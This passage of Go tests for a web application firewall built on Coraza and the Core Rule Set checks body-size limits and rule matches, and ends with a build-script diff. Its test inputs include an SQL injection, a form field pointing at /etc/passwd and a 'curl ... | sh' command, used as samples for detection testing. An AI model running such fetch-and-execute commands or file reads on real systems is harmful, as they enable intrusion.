ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
want, len(read))
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{},
tc.attackLast[:bodyLimit+1])
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, waf.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "")
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want waf.Result
}{
{"path=.gitignore", waf.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, waf.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, waf.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}
+2 -2
View File
@@ -1,7 +1,7 @@
#!/bin/sh #!/bin/sh
# script/build: build bin/smallwebwaf on the host, with Go installed, for # script/build: build bin/smallwebwaf on the host, with Go installed, for
# working on the code by hand. The version it reports comes from git, as # working on the code by hand. The version it reports comes from git, as
# in script/docker. # in script/docker, and the no_fs_access tag is the Dockerfile's.
set -eu set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -11,7 +11,7 @@ main() {
cd "$ROOT" cd "$ROOT"
version="$(git describe --tags --always --dirty 2>/dev/null || true)" version="$(git describe --tags --always --dirty 2>/dev/null || true)"
[ -n "$version" ] || version="unknown" [ -n "$version" ] || version="unknown"
go build -trimpath -ldflags "-X main.Version=$version" \ go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \
-o bin/smallwebwaf ./cmd/smallwebwaf -o bin/smallwebwaf ./cmd/smallwebwaf
} }